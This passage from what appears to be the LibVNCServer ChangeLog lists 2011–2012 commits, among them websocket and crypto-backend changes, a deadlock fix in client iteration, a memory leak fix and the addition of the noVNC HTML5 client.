addresses a LibVNCClient-based client should listen for reverse
connections. This commit adds that option. To preserve binary backwards-compatibility, the field was added to
the end of the rfbclient struct, and the function ListenAtTcpPort
retains its signature (but calls the new ListenAtTcpPortAndAddress). [jes: shortened the commit subject, added a longer explanation in
the commit body and adjusted style] Signed-off-by: Luca Stauble <> Signed-off-by:
Johannes Schindelin <>
2012-01-12 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: removed debug message
2012-01-12 Gernot Tenchio <>
* libvncserver/websockets.c: websockets: restore errno after logging
an error
2012-01-12 Gernot Tenchio <>
* CMakeLists.txt: cmake: adapted to latest websocket crypto changes
2011-12-15 Christian Beier <>
* rfb/rfbclient.h: Small changes to LibNVCClient doxygen
2011-12-01 Christian Beier <>
* libvncserver/ Fix build error when libpng is
available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses
libjpeg features. We could probably seperate that, but for now the
dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around.
2011-12-01 Christian Beier <>
* Use AM_SILENT_RULES only when it's actually
available. Otherwise building breaks with older make versions. Happens on OS X
10.6 for instance.
2011-11-09 Christian Beier <>
*, webclients/, webclients/index.vnc,
webclients/java-applet/, webclients/{ =>
java-applet}/javaviewer.pseudo_proxy.patch, webclients/{ =>
java-applet}/ssl/, webclients/{ =>
java-applet}/ssl/README, webclients/{ =>
java-applet}/ssl/index.vnc, webclients/{ =>
java-applet}/ssl/onetimekey, webclients/{ =>
java-applet}/ssl/proxy.vnc, webclients/{ =>
java-applet}/ssl/ss_vncviewer, webclients/{ =>
o-tab-traversal.patch, webclients/{ =>
webclients/{ => java-applet}/ssl/ultra.vnc, webclients/{ =>
java-applet}/ssl/ultraproxy.vnc, webclients/{ =>
java-applet}/ssl/ultrasigned.vnc, webclients/{ =>
java-applet}/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the
java stuff into webclients/java-applet.
2011-11-09 Christian Beier <>
*,, README,,
examples/example.c, examples/pnmshow.c, examples/pnmshow24.c,
rfb/rfb.h, {classes => webclients}/, {classes =>
webclients}/index.vnc, {classes =>
webclients}/javaviewer.pseudo_proxy.patch, {classes =>
webclients}/novnc/LICENSE.txt, {classes =>
webclients}/novnc/, {classes =>
webclients}/novnc/favicon.ico, {classes =>
webclients}/novnc/include/base.css, {classes =>
webclients}/novnc/include/base64.js, {classes =>
webclients}/novnc/include/black.css, {classes =>
webclients}/novnc/include/blue.css, {classes =>
webclients}/novnc/include/des.js, {classes =>
webclients}/novnc/include/display.js, {classes =>
webclients}/novnc/include/input.js, {classes =>
webclients}/novnc/include/logo.js, {classes =>
webclients}/novnc/include/playback.js, {classes =>
webclients}/novnc/include/rfb.js, {classes =>
webclients}/novnc/include/ui.js, {classes =>
webclients}/novnc/include/util.js, {classes =>
webclients}/novnc/include/vnc.js, {classes =>
webclients}/novnc/include/web-socket-js/README.txt, {classes =>
webclients}/novnc/include/web-socket-js/swfobject.js, {classes =>
webclients}/novnc/include/web-socket-js/web_socket.js, {classes =>
webclients}/novnc/include/websock.js, {classes =>
webclients}/novnc/include/webutil.js, {classes =>
webclients}/novnc/vnc.html, {classes =>
webclients}/novnc/vnc_auto.html, {classes =>
webclients}/ssl/, {classes => webclients}/ssl/README,
{classes => webclients}/ssl/index.vnc, {classes =>
webclients}/ssl/onetimekey, {classes => webclients}/ssl/proxy.vnc,
{classes => webclients}/ssl/ss_vncviewer, {classes =>
-tab-traversal.patch, {classes =>
{classes => webclients}/ssl/ultra.vnc, {classes =>
webclients}/ssl/ultraproxy.vnc, {classes =>
webclients}/ssl/ultrasigned.vnc, {classes =>
webclients}/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename
'classes' dir to 'webclients'.
2011-11-09 Christian Beier <>
* classes/index.vnc, libvncserver/httpd.c: novnc client: use the
client's notion about the server hostname instead of what the server
2011-11-09 Christian Beier <>
* classes/index.vnc: Fix tiny typo.
2011-11-09 Christian Beier <>
* NEWS: Add NEWS entry.
2011-11-09 Christian Beier <>
* libvncclient/rfbproto.c: When GetCredential() callback is not set,
don't use authentications requiring it. The auth methods that employ Getcredential() will only be used if
the client's GetCredential callback is actually set.
2011-10-12 Christian Beier <>
* ChangeLog: Update ChangeLog for
2011-10-12 Christian Beier <>
* CMakeLists.txt, NEWS, Update version number in
autotools && cmake, NEWS entry.
2011-10-26 Peter Watkins <>
* rfb/rfbclient.h: Added comments.
2011-10-26 Christian Beier <>
* libvncserver/rfbserver.c: Fix deadlock in threaded mode when using
nested rfbClientIteratorNext() calls. Lengthy explanation follows... First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through
them using rfbClientIteratorNext() (loop L1) and is currently at
client 2 i.e. client 2's cl_2->refCount is 1. At this point we need
to loop again through the clients, with cl_2->refCount == 1, i.e. do
a loop L2 nested within loop L1. BUT: Now client 2 disconnects, it's clientInput thread terminates
its clientOutput thread and calls rfbClientConnectionGone(). This
LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This
means this thread waits for the main thread to release cl_2.
Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner
rfbClientIteratorNext() loop L2. The first call to
rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is
locked by cl2's clientInput thread and is only released when
cl_2->refCount becomes 0. The main thread would decrement
cl_2->refCount when it would continue with loop L1. But it's waiting
for cl2's clientInput thread to release clientListMutex. Which never
happens since this one's waiting for the main thread to decrement
cl_2->refCount. DEADLOCK. Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread
rfbClientConnectionGone(). This again LOCKs clientListMutex, removes
cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for
cl_2->refCount to become 0 is _after_ that. Waiting, with
clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now
only looping through 1,3 - 2 was removed from the linked list) and
continue with loop L1, finally decrementing cl_2->refCount, allowing
cl2's clientInput thread to continue and terminate. The resources
held by cl2 are not free()'d by rfbClientConnectionGone until
cl2->refCount becomes 0, i.e. loop L1 has released cl2.
2011-10-16 Johannes Schindelin <>
* AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <>
2011-10-16 George Fleury <>
* libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not
been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using
rfbReverseConnection with rfbProcessEvents, and then when the client
connection dies, i am calling a rfbShutdownServer and
rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been
freed. So to free the stats i added a rfbResetStats(cl) after
rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before
free the cl pointer. (at rfbserver.c line 555). And this, obviously,
is correcting the memory leak. Signed-off-by: Johannes Schindelin <>
2011-10-08 Johannes Schindelin <>
* rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7
or earlier For backwards-compatibility reasons, we can only add struct members
to the end. That way, existing callers still can use newer
libraries, as the structs are always allocated by the library (and
therefore guaranteed to have the correct size) and still rely on the
same position of the parts the callers know about. Reported by Luca Falavigna. Signed-off-by: Johannes Schindelin <>
2011-10-09 Johannes Schindelin <>
* client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by
default I got annoyed having to specify -resizable all the time; I never use
it in another mode anymore, since I am on a netbook. The option -no-resizable was added to be able to switch off that
feature. Signed-off-by: Johannes Schindelin <>
2011-10-06 Christian Beier <>
* libvncserver/httpd.c: httpd: fix sending of binary data such as
images. We do this simply by omitting the content-type and let the browser
decide upon the mime-type of the sent file. Only exception is
'index.vnc', where we do set the content-type since some browsers
fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always.
2011-10-06 Christian Beier <>
* classes/index.vnc: Fix typo && use proper website.
2011-10-04 Christian Beier <>
* classes/index.vnc, classes/novnc/LICENSE.txt,
classes/novnc/, classes/novnc/favicon.ico,
classes/novnc/include/base.css, classes/novnc/include/base64.js,
classes/novnc/include/black.css, classes/novnc/include/blue.css,
classes/novnc/include/des.js, classes/novnc/include/display.js,
classes/novnc/include/input.js, classes/novnc/include/logo.js,
classes/novnc/include/playback.js, classes/novnc/include/rfb.js,
classes/novnc/include/ui.js, classes/novnc/include/util.js,
classes/novnc/include/websock.js, classes/novnc/include/webutil.js,
classes/novnc/vnc.html, classes/novnc/vnc_auto.html,
libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to
our http server. Pure JavaScript, no Java plugin required anymore! (But a recent
2011-10-04 Christian Beier <>
* This build warning is a libvncserver one, not for
x11vnc. Also, make it warn more generally when no known encryption lib is
2011-09-21 Gernot Tenchio <>
* common/md5.c: md5: forced to use function names with leading
underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with
leading underscores. This is required to match the prototypes
defined in md5.h.
2011-09-20 Gernot Tenchio <>
* libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p
2011-09-20 Gernot Tenchio <>
* libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way
to late last night...
2011-09-18 Gernot Tenchio <>
* libvncserver/, libvncserver/rfbcrypto.h,
libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c,
libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add
support for different crypto implementations
2011-09-11 Christian Beier <>
*, libvncserver/ Autotools: Fix OpenSSL and
GnuTLS advertisement.
2011-09-11 Christian Beier <>
* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of
processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
2011-09-11 Christian Beier <>
* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
websocket guys.
2011-08-28 Gernot Tenchio <>
* configure: Add AM_SILENT_RULES Working with “silent make mode” makes debugging a lot of easier
since warnings wont shadowed by useless compiler noise
2011-08-27 Gernot Tenchio <>
* CMakeLists.txt: cmake: set SOVERSION
2011-09-11 Christian Beier <>
*, libvncserver/ Autotools: Fix OpenSSL and
GnuTLS advertisement.
2011-09-11 Christian Beier <>
* libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of
processed certs and _not_ GNUTLS_E_SUCCESS (0) on success!
2011-09-11 Christian Beier <>
* AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the
websocket guys.
2011-09-02 Gernot Tenchio <>
* libvncserver/websockets.c: websocket: Use a single buffer for
both, encoding and decoding
2011-08-30 Gernot Tenchio <>